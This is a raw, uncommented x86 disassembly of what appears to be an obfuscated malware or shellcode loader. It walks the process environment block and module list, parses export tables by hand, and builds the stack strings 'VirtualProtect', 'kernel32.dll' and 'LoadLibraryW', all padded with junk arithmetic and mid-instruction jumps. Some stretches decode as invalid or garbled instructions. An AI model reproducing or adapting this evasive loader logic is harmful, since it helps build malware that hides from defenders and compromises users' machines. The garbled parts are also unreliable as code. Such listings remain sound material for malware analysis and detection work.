mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c0], eax
mov ecx, dword [ebp - 0x19c0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19c4], edx
mov eax, dword [ebp - 0x19c4]
mov dword [ebp - 0x160c], eax
push ecx
push edx
add esp, 4
and ecx, 0x125ce
jmp 0x406446
and ecx, 0x1518c
or ecx, 0x14db6
pop ecx
push esi
and esi, 0x8e6
xor esi, 0x14932
sub esi, 0xade8
pop esi
cmp dword [ebp - 0x160c], 0
jne 0x40647f
mov dword [ebp - 0x300], 0
jmp 0x406726
mov ecx, dword [ebp - 0x160c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc4], eax
push ecx
push edx
add esp, 4
sub ecx, 0x112ee
pop ecx
push esi
push edx
add esp, 4
or esi, 0x57c8
pop esi
push edx
push edx
add esp, 4
xor edx, 0x10dd1
sub edx, 0x9305
pop edx
push eax
and eax, 0xedea
pop eax
cmp dword [ebp - 0xcc4], 0
jne 0x4064db
mov dword [ebp - 0x300], 0
jmp 0x406726
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x510], ecx
push edx
add edx, 0x4e2
pop edx
push edi
push edx
add esp, 4
xor edi, 0x15688
call 0x406509
add byte [edx + 0x3d], cl
inc eax
dec edx
inc ecx
cmp esi, dword [edx + ecx*2]
add esp, 4
pop edi
push ecx
push edx
add esp, 4
and ecx, 0xba02
pop ecx
lea edx, [ebp - 0x1754]
mov dword [ebp - 0xcc0], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcbc], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
jmp 0x40654c
pop eax
push esi
sub esi, 0x14af1
and esi, 0x6fdc
and esi, 0xc78c
and esi, 0x7497
pop esi
push edx
sub edx, 0x177b6
add edx, 0x6d97
pop edx
mov ecx, dword [ebp - 0xcbc]
mov dx, word [ecx]
mov word [ebp - 0x104e], dx
mov eax, dword [ebp - 0xcbc]
add eax, 2
mov dword [ebp - 0xcbc], eax
mov cx, word [ebp - 0x104e]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcc0]
mov ax, word [edx]
mov word [ebp - 0x1050], ax
mov ecx, dword [ebp - 0xcc0]
add ecx, 2
mov dword [ebp - 0xcc0], ecx
mov dx, word [ebp - 0x1050]
mov word [ebp - 0x34], dx
push edi
push eax
add esp, 4
xor edi, 0x54f5
pop edi
push esi
xor esi, 0x15d16
call 0x4065ee
add byte [edi + ecx*2 + 0x4d], al
inc esp
inc ebx
xor eax, 0x83344747
les eax, [ecx + eax*4]
idiv byte [ebx - 0x7efffebd]
test byte [ebp + 0x5e000024], 0xf
mov bh, 0x45
int3
push edx
jmp 0x40672c
pop edx
push edi
call 0x40673c
add byte [edx + 0x44], cl
dec ebp
aaa
inc ebx
cmp edi, dword [eax]
inc ebp
add esp, 4
pop edi
push edi
xor edi, 0x13969
call 0x406754
add byte [ebp + 0x3c], cl
inc edx
xor al, 0x50
cmp al, 0x83
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
push edi
push esi
add esp, 4
jmp 0x406772
pop edi
push ebx
sub ebx, 0x12d91
and ebx, 0x147b0
or ebx, 0x129f3
pop ebx
push edi
push esi
add esp, 4
or edi, 0x150a3
xor edi, 0xb8a2
pop edi
mov dword [ebp - 0x764], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x1618], edx
cmp dword [ebp - 0x1618], 0
jne 0x4067c9
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x514], eax
jmp 0x406aba
mov ecx, dword [ebp - 0x1618]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x161c], edx
jne 0x4067f1
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x514], eax
jmp 0x406aba
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x161c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1620], ecx
cmp dword [ebp - 0x1620], 0
jne 0x406823
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x514], edx
jmp 0x406aba
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x1620]
mov dword [ebp - 0x758], eax
jne 0x406848
mov ecx, dword [ebp - 0x764]
mov dword [ebp - 0x514], ecx
jmp 0x406aba
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x758]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19d0], ecx
mov dword [ebp - 0x75c], 0
jmp 0x4068a2
mov edx, dword [ebp - 0x75c]
add edx, 1
mov dword [ebp - 0x75c], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x75c]
cmp ecx, dword [eax + 0x18]
jae 0x406aae
mov edx, dword [ebp - 0x75c]
mov eax, dword [ebp - 0x19c8]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x760], ecx
mov edx, dword [ebp - 0x75c]
mov eax, dword [ebp - 0x19cc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19d0]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19d4], eax
mov dword [ebp - 0x19c], 0
jmp 0x406912
mov edx, dword [ebp - 0x760]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x4069c4
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x86c]
test edx, edx
je 0x4069c4
push edx
and edx, 0x1147
sub edx, 0x126a9
or edx, 0x16b8
add edx, 0x654a
pop edx
push edi
call 0x406967
add byte [0x3e3f4440], bh
cmp eax, 0x8104c483
out 0x70, eax
add al, 1
add byte [edi - 0x75], bl
test dword [eax + 0x3fffff8], esp
test dword [esi + edi*8 - 1], esp
dec dword [edi]
mov esi, 0x64958b08
invalid
push ecx
push esi
add esp, 4
sub ecx, 0x177aa
call 0x4069db
add byte [eax], bh
cmp eax, 0x833d4c48
les eax, [ecx + eax*4]
rcr dword [eax], 0xe5
add byte [eax], al
call 0x4069f2
add byte [ebx], bh
dec esp
cmp byte [ecx + 0x50], al
xor ecx, dword [esi + 0x49]
add esp, 4
pop ecx
mov edx, dword [ebp - 0x760]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x86c]
cmp eax, edx
jne 0x406a23
mov dword [ebp - 0xcc8], 0
jmp 0x406a92
push esi
sub esi, 0x48c2
sub esi, 0xb3b3
call 0x406a3d
add byte [edx + 0x50], al
dec esi
xor al, 0x40
xor al, 0x48
add esp, 4
xor esi, 0xb9b1
pop esi
push esi
and esi, 0x6dcd
or esi, 0xc7e
pop esi
mov eax, dword [ebp - 0x760]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x86c]
or eax, 0x20
cmp ecx, eax
jge 0x406a88
mov dword [ebp - 0xcc8], 0xffffffff
jmp 0x406a92
mov dword [ebp - 0xcc8], 1
cmp dword [ebp - 0xcc8], 0
jne 0x406aa9
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x514], ecx
jmp 0x406aba
jmp 0x406893
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x790], eax
push esi
push edx
add esp, 4
add esi, 0x263e
pop esi
push edi
push edi
add esp, 4
or edi, 0xce50
add edi, 0xb3a4
pop edi
push edx
and edx, 0x10112
pop edx
push eax
push ecx
add esp, 4
or eax, 0x13ae6
pop eax
mov ecx, dword [ebp - 0x3fc]
add ecx, 0xe
mov dword [ebp - 0x1a20], ecx
push eax
push ebx
add esp, 4
add eax, 0x98c2
jmp 0x406b1a
or eax, 0xdd39
pop eax
push edx
push edx
add esp, 4
or edx, 0x13588
or edx, 0x9c28
sub edx, 0x10e07
pop edx
cmp dword [ebp - 0x3fc], 0
je 0x406b4b
cmp dword [ebp - 0xac4], 0
jne 0x406b91
push eax
push edi
add esp, 4
or eax, 0x15c35
or eax, 0x297d
add eax, 0x918b
or eax, 0x271b
pop eax
push esi
sub esi, 0x1e38
pop esi
push edx
push esi
add esp, 4
or edx, 0x12981
pop edx
mov edx, dword [ebp - 0x790]
mov dword [ebp - 0x1d60], edx
push 0
call dword [ebp - 0x1d60]
mov dword [ebp - 0x20f4], 0xa
push edi
push eax
add esp, 4
sub edi, 0x17b68
pop edi
push ebx
push eax
add esp, 4
add ebx, 0x112af
or ebx, 0xd2d
and ebx, 0x499
add ebx, 0x1592b
pop ebx
push edi
add edi, 0x160f5
pop edi
mov eax, dword [ebp - 0x3fc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3fc]
mov dword [ebp - 0x16ac], edx
mov dword [ebp - 0xcf8], 0
push ecx
or ecx, 0x4dc5
xor ecx, 0x18fb
pop ecx
push ebx
and ebx, 0xabc
and ebx, 0x9ef6
pop ebx
push eax
push ecx
add esp, 4
call 0x406c26
add byte [ecx + 0x50], al
dec edx
xor al, 0x3e
inc eax
inc ebx
add esp, 4
pop eax
mov byte [ebp - 0x9e8], 0x56
mov byte [ebp - 0x9e7], 0x69
mov byte [ebp - 0x9e6], 0x72
mov byte [ebp - 0x9e5], 0x74
mov byte [ebp - 0x9e4], 0x75
mov byte [ebp - 0x9e3], 0x61
mov byte [ebp - 0x9e2], 0x6c
mov byte [ebp - 0x9e1], 0x50
mov byte [ebp - 0x9e0], 0x72
mov byte [ebp - 0x9df], 0x6f
mov byte [ebp - 0x9de], 0x74
mov byte [ebp - 0x9dd], 0x65
mov byte [ebp - 0x9dc], 0x63
mov byte [ebp - 0x9db], 0x74
mov byte [ebp - 0x9da], 0
push ebx
call 0x406ca0
add byte [ebx + 0x3a], al
cmp byte [ebp + 0x39], cl
xor al, byte [ebx - 0x147efb3c]
jp 0x406cdf
add byte [eax], al
pop ebx
push eax
push ecx
add esp, 4
or eax, 0xc367
call 0x406cc1
add byte [esi], bh
inc ecx
dec edx
cmp edi, dword [edi]
add esp, 4
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19d8], eax
mov ecx, dword [ebp - 0x19d8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19dc], edx
mov eax, dword [ebp - 0x19dc]
mov dword [ebp - 0x1624], eax
push esi
xor esi, 0x15958
dec dword [ebx - 0x19db7b]
dec dword [ecx - 0x16237b]
call dword [esi - 0x7f]
neg byte [eax + 0x59]
add dword [eax], eax
xor esi, 0x8097
jmp 0x406cff
and esi, 0x13dd6
pop esi
push ecx
push edi
add esp, 4
or ecx, 0xb987
jmp 0x406d17
add ecx, 0xd7be
pop ecx
cmp dword [ebp - 0x1624], 0
jne 0x406d36
mov dword [ebp - 0x2d0], 0
jmp 0x406fdd
mov ecx, dword [ebp - 0x1624]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcd4], eax
push ebx
and ebx, 0x15777
sub ebx, 0x5c01
or ebx, 0x596a
call 0x406d6a
add byte [ebp + esi + 0x3e], al
inc ebx
aas
dec ebx
xor eax, 0x4c48344
pop ebx
push edx
push edx
add esp, 4
xor edx, 0xc40
pop edx
cmp dword [ebp - 0xcd4], 0
jne 0x406d92
mov dword [ebp - 0x2d0], 0
jmp 0x406fdd
mov ecx, dword [ebp - 0xcd4]
mov dword [ebp - 0x518], ecx
push ecx
or ecx, 0xa23c
xor ecx, 0x148ba
sub ecx, 0x8c7c
and ecx, 0x12f7b
pop ecx
push ebx
push edi
add esp, 4
sub ebx, 0xf50
and ebx, 0x16eec
and ebx, 0xe23b
pop ebx
lea edx, [ebp - 0x1754]
mov dword [ebp - 0xcd0], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xccc], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edx
call 0x406e0b
add byte [ebx + 0x46], cl
push eax
xor eax, 0x504f4d50
cmp dword [ebx + eax*4], esi
les eax, [ebx + ebp*8]
push es
inc edi
cmp al, 0x4e
dec edi
push eax
dec esp
add edx, 0x10730
call 0x406e28
add byte [ebx + 0x32], al
xor al, 0x3d
inc esi
dec ebx
add esp, 4
pop edx
mov ecx, dword [ebp - 0xccc]
mov dx, word [ecx]
mov word [ebp - 0x1052], dx
mov eax, dword [ebp - 0xccc]
add eax, 2
mov dword [ebp - 0xccc], eax
mov cx, word [ebp - 0x1052]
mov word [ebp - 0x21c], cx
mov edx, dword [ebp - 0xcd0]
mov ax, word [edx]
mov word [ebp - 0x1054], ax
mov ecx, dword [ebp - 0xcd0]
add ecx, 2
mov dword [ebp - 0xcd0], ecx
mov dx, word [ebp - 0x1054]
mov word [ebp - 0x38], dx
push edi
push edi
add esp, 4
xor edi, 0xab22
pop edi
push edi
push ecx
add esp, 4
and edi, 0x902
sub edi, 0xf0ca
or edi, 0x1176b
pop edi
push esi
or esi, 0xa4cc
or esi, 0xbaa9
pop esi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x406ed2
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x162c], ecx
jmp 0x406f2c
movzx eax, word [ebp - 0x21c]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x406dfa
movzx edx, word [ebp - 0x21c]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x406dfa
movzx ecx, word [ebp - 0x21c]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x406f16
mov dword [ebp - 0x1628], 0xffffffff
jmp 0x406f20
mov dword [ebp - 0x1628], 1
mov eax, dword [ebp - 0x1628]
mov dword [ebp - 0x162c], eax
cmp dword [ebp - 0x162c], 0
jne 0x406f75
push ebx
call 0x406f45
add byte [ecx], bh
inc edi
dec edi
cmp eax, 0x37373a41
aas
add esp, 4
sub ebx, 0xc66
call 0x406f5c
add byte [ebx + 0x3e], cl
cmp al, byte [edx + 0x3a]
dec esi
inc ebx
xor eax, dword [ebx + 0x525b04c4]
jmp 0x406f66
pop edx
mov ecx, dword [ebp - 0x518]
mov dword [ebp - 0x2d0], ecx
jmp 0x406fdd
push esi
push esi
add esp, 4
xor esi, 0x1115b
pop esi
push ebx
push ebx
add esp, 4
jmp 0x406f8e
or ebx, 0x12e3b
pop ebx
push eax
push ecx
add esp, 4
or eax, 0x162fa
add eax, 0x17ab8
pop eax
mov edx, dword [ebp - 0x518]
mov eax, dword [edx]
mov dword [ebp - 0x518], eax
mov ecx, dword [ebp - 0x518]
cmp ecx, dword [ebp - 0xcd4]
je 0x406fd3
mov edx, dword [ebp - 0x518]
cmp dword [edx + 0x30], 0
jne 0x406d9e
mov dword [ebp - 0x2d0], 0
push ebx
push edx
add esp, 4
and ebx, 0xe025
pop ebx
push edi
xor edi, 0x4e51
and edi, 0x82e7
add edi, 0x52f
pop edi
push eax
push eax
add esp, 4
xor eax, 0x84f7
or eax, 0x145ed
pop eax
cmp dword [ebp - 0x2d0], 0
jne 0x407914
mov eax, 0x6b
mov word [ebp - 0x17dc], ax
mov ecx, 0x65
mov word [ebp - 0x17da], cx
mov edx, 0x72
mov word [ebp - 0x17d8], dx
mov eax, 0x6e
mov word [ebp - 0x17d6], ax
mov ecx, 0x65
mov word [ebp - 0x17d4], cx
mov edx, 0x6c
mov word [ebp - 0x17d2], dx
mov eax, 0x33
mov word [ebp - 0x17d0], ax
mov ecx, 0x32
mov word [ebp - 0x17ce], cx
mov edx, 0x2e
mov word [ebp - 0x17cc], dx
mov eax, 0x64
mov word [ebp - 0x17ca], ax
mov ecx, 0x6c
mov word [ebp - 0x17c8], cx
mov edx, 0x6c
mov word [ebp - 0x17c6], dx
xor eax, eax
mov word [ebp - 0x17c4], ax
push edx
push edi
add esp, 4
and edx, 0xb06e
or edx, 0x5bf3
and edx, 0x11b8a
pop edx
push edi
and edi, 0x36ca
and edi, 0x12ce3
or edi, 0x16699
or edi, 0xfa17
pop edi
mov byte [ebp - 0x898], 0x4c
mov byte [ebp - 0x897], 0x6f
mov byte [ebp - 0x896], 0x61
mov byte [ebp - 0x895], 0x64
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x69
mov byte [ebp - 0x892], 0x62
mov byte [ebp - 0x891], 0x72
mov byte [ebp - 0x890], 0x61
mov byte [ebp - 0x88f], 0x72
mov byte [ebp - 0x88e], 0x79
mov byte [ebp - 0x88d], 0x57
mov byte [ebp - 0x88c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19e0], ecx
mov edx, dword [ebp - 0x19e0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19e4], eax
mov ecx, dword [ebp - 0x19e4]
mov dword [ebp - 0x1630], ecx
push ebx
or ebx, 0x1532
add ebx, 0x7d1c
and ebx, 0xd8c8
call 0x40718c
add byte [edx + 0x40], al
inc ebp
inc esi
dec edi
aaa
aaa
cmp byte [ebx + eax*4], bh
les eax, [ebx + ebx*2]
push edi
push edx
add esp, 4
add edi, 0xb497
pop edi
cmp dword [ebp - 0x1630], 0
jne 0x4071b4
mov dword [ebp - 0x768], 0
jmp 0x40745b
mov edx, dword [ebp - 0x1630]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce0], ecx
push eax
call 0x4071d4
add byte [ebp + 0x4f], cl
xor eax, 0x4542383a
add esp, 4
xor eax, 0x12b92
and eax, 0x11e40
or eax, 0xb57b
pop eax
push eax
and eax, 0x1561f
and eax, 0x6470
pop eax
cmp dword [ebp - 0xce0], 0
jne 0x407210
mov dword [ebp - 0x768], 0
jmp 0x40745b
mov edx, dword [ebp - 0xce0]
mov dword [ebp - 0x51c], edx
push edx
push edx
add esp, 4
and edx, 0x17e0b
xor edx, 0x10a66
call 0x40723c
add byte [ebp + 0x34], cl
inc edx
xor eax, dword [eax + 0x3a]
inc esi
cmp dword [eax - 0x7d], edx
les eax, [ecx + eax*4]
cmp eax, dword [ecx]
add dword [eax], eax
pop edx
push eax
and eax, 0xf528
pop eax
lea eax, [ebp - 0x17dc]
mov dword [ebp - 0xcdc], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd8], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push ecx
add esp, 4
sub eax, 0xd3c4
pop eax
push edi
or edi, 0x1561f
call 0x40729b
add byte [0x3b4b383e], bh
cmp bh, byte [ecx]
aaa
xor eax, 0x4c48345
pop edi
push ecx
jmp 0x4072a9
pop ecx
mov edx, dword [ebp - 0xcd8]
mov ax, word [edx]
mov word [ebp - 0x1056], ax
mov ecx, dword [ebp - 0xcd8]
add ecx, 2
mov dword [ebp - 0xcd8], ecx
mov dx, word [ebp - 0x1056]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xcdc]
mov cx, word [eax]
mov word [ebp - 0x1058], cx
mov edx, dword [ebp - 0xcdc]
add edx, 2
mov dword [ebp - 0xcdc], edx
mov ax, word [ebp - 0x1058]
mov word [ebp - 0x3c], ax
push edx
push eax
add esp, 4
add edx, 0x5a96
or edx, 0x2c98
sub edx, 0x1107c
sub edx, 0x21bd
pop edx
push esi
add esi, 0xb30c
add esi, 0xcdd8
xor esi, 0xdc26
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x407350
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1680], edx
jmp 0x4073aa
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x407278
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x407278
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x407394
mov dword [ebp - 0x1634], 0xffffffff
jmp 0x40739e
mov dword [ebp - 0x1634], 1
mov ecx, dword [ebp - 0x1634]
mov dword [ebp - 0x1680], ecx
cmp dword [ebp - 0x1680], 0
jne 0x4073f3
push ebx
and ebx, 0x185f9
pop ebx
push ebx
push eax
add esp, 4
call 0x4073cf
add byte [esi], bh
inc eax
dec eax
inc ebx
inc ecx
xor edi, dword [eax + ecx*2]
add esp, 4
jmp 0x4073d8
xor ebx, 0x8715
and ebx, 0xc957
pop ebx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x768], edx
jmp 0x40745b
push eax
push edi
add esp, 4
xor eax, 0x8a53
jmp 0x407405
pop eax
push esi
push edx
add esp, 4
sub esi, 0x17865
jmp 0x407417
jmp 0x40741e
and esi, 0x753d
pop esi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xce0]
je 0x407451
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x40721c
mov dword [ebp - 0x768], 0
push ebx
add ebx, 0x11c74
add ebx, 0x2061
pop ebx
push ecx
push edx
add esp, 4
xor ecx, 0x25fa
xor ecx, 0x10836
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x185be
and ecx, 0x12423
pop ecx
cmp dword [ebp - 0x768], 0
jne 0x4074d7
push esi
push ecx
add esp, 4
or esi, 0x84d3
pop esi
push edx
push ebx
add esp, 4
and edx, 0x1641
add edx, 0x6527
jmp 0x4074bb
pop edx
push edi
push ecx
add esp, 4
sub edi, 0xbc51
pop edi
mov dword [ebp - 0xac0], 0
jmp 0x407fff
push eax
and eax, 0x8222
or eax, 0x11ad1
xor eax, 0x10da1
and eax, 0x194f
pop eax
push ecx
push esi
add esp, 4
sub ecx, 0x6e60
xor ecx, 0x4d14
sub ecx, 0xda70
pop ecx
mov ecx, dword [ebp - 0x768]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x324], edx
mov dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x1684], eax
cmp dword [ebp - 0x1684], 0
jne 0x407548
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], ecx
jmp 0x407839
mov edx, dword [ebp - 0x1684]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1688], eax
jne 0x407570
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], ecx
jmp 0x407839
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1688]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1690], edx
cmp dword [ebp - 0x1690], 0
jne 0x4075a2
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], eax
jmp 0x407839
mov ecx, dword [ebp - 0x324]
add ecx, dword [ebp - 0x1690]
mov dword [ebp - 0x76c], ecx
jne 0x4075c7
mov edx, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], edx
jmp 0x407839
mov eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19e8], ecx
mov edx, dword [ebp - 0x76c]
clc
invalid
dec dword [ebx - 0x3237b]
inc dword [ebx]
inc edx
and al, 0x89
test dword [esi], edx
invalid
dec dword [ebx - 0x76b73]
dec dword [ebx - 0x3236b]
inc dword [ebx]
push ecx
sbb al, 0x89
xchg ebp, eax
adc dh, ah
invalid
inc edi
test dword [eax + 0xfffff8], edx
add byte [eax], al
add bl, ch
invalid
mov eax, dword [ebp - 0x770]
add eax, 1
mov dword [ebp - 0x770], eax
mov ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x770]
cmp edx, dword [ecx + 0x18]
jae 0x40782d
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x19e8]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x774], edx
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x19ec]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x19f0]
dec dword [ebx - 0x32373]
inc dword [ebx]
or al, 0x90
mov dword [ebp - 0x19f4], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x407691
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x407743
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x898]
test eax, eax
je 0x407743
push edi
and edi, 0xa082
pop edi
push ecx
push ebx
add esp, 4
jmp 0x4076d2
call 0x4076e0
add byte [ecx], bh
xor eax, dword [esi + 0x40]
dec ecx
dec ebx
inc esp
cmp byte [ebx - 0x367efb3c], al
test dword [ecx], ebx
add byte [ecx + 0x180e5f1], al
add byte [ecx - 0x75], bl
lea ecx, [eax + edi*8 - 0x72fc0001]
pushal
invalid
push esi
push esi
add esp, 4
and esi, 0x97c4
pop esi
push ebx
jmp 0x407758
jmp 0x407760
or ebx, 0xdbf1
sub ebx, 0xaebc
pop ebx
push edi
jmp 0x407774
pop edi
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x898]
cmp ecx, eax
jne 0x4077a2
mov dword [ebp - 0xce4], 0
jmp 0x407811
push ebx
push esi
add esp, 4
call 0x4077b5
add byte [ecx], bh
dec esp
dec esi
cmp byte [0x83463735], bh
les eax, [ebx + ebp*8]
add eax, 0x483c3541
inc edx
pop ebx
push ebx
and ebx, 0xbc43
xor ebx, 0x6e81
and ebx, 0x164a7
pop ebx
mov ecx, dword [ebp - 0x774]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x898]
or ecx, 0x20
cmp edx, ecx
jge 0x407807
mov dword [ebp - 0xce4], 0xffffffff
jmp 0x407811
mov dword [ebp - 0xce4], 1
cmp dword [ebp - 0xce4], 0
jne 0x407828
mov edx, dword [ebp - 0x19f4]
mov dword [ebp - 0x3f8], edx
jmp 0x407839
jmp 0x407612
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x407914
push ebx
sub ebx, 0xd023
pop ebx
push edi
push ecx
add esp, 4
sub edi, 0xb91b
sub edi, 0x2280
pop edi
push ebx
push eax
add esp, 4
and ebx, 0x12b4b
and ebx, 0x722
sub ebx, 0x8781
pop ebx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x19f8], ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x51e6
jmp 0x407894
pop ecx
push esi
call 0x4078a4
add byte [0x3f494438], dh
inc ebx
inc edx
inc eax
add esp, 4
pop esi
push ecx
xor ecx, 0x11e61
and ecx, 0x13eff
pop ecx
mov edx, dword [ebp - 0x19f8]
mov dword [ebp - 0x19fc], edx
lea eax, [ebp - 0x1754]
push eax
call dword [ebp - 0x19fc]
test eax, eax
jne 0x407914
push edx
and edx, 0x11e12
add edx, 0x14660
xor edx, 0x15ad0
or edx, 0xb378
pop edx
push eax
push edi
add esp, 4
add eax, 0xa25d
pop eax
push ebx
push eax
add esp, 4
add ebx, 0xcde4
pop ebx
mov dword [ebp - 0xac0], 0
jmp 0x407fff
push ecx
push esi
add esp, 4
xor ecx, 0xe9c1
call 0x40792e
add byte [ecx + 0x3a], al
cmp eax, 0x43474834
inc edi
dec ecx
add esp, 4
add ecx, 0x822e
pop ecx
push edi
push esi
add esp, 4
jmp 0x407945
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a00], ecx
mov edx, dword [ebp - 0x1a00]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a04], eax
mov ecx, dword [ebp - 0x1a04]
mov dword [ebp - 0x1694], ecx
push edx
push edi
add esp, 4
or edx, 0x16b60
or edx, 0x7c4d
pop edx
push edi
push ecx
add esp, 4
jmp 0x40798b
pop edi
push esi
sub esi, 0xaff
add esi, 0xf979
add esi, 0x10028
pop esi
cmp dword [ebp - 0x1694], 0
jne 0x4079b8
mov dword [ebp - 0x2d0], 0
jmp 0x407c5f
mov edx, dword [ebp - 0x1694]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcf0], ecx
push edi
or edi, 0x17de9
pop edi
push ebx
push edi
add esp, 4
or ebx, 0x446e
jmp 0x4079e3
add ebx, 0xd9a8
pop ebx
push ebx
push ecx
add esp, 4
sub ebx, 0xdddf
and ebx, 0x6309
pop ebx
cmp dword [ebp - 0xcf0], 0
jne 0x407a14
mov dword [ebp - 0x2d0], 0
jmp 0x407c5f
mov edx, dword [ebp - 0xcf0]
mov dword [ebp - 0x520], edx
push ecx
push esi
add esp, 4
call 0x407a34
add byte [ecx], bh
aas
inc ebx
inc esp
dec ebx
cmp al, 0x36
xor ecx, dword [edi - 0x7d]
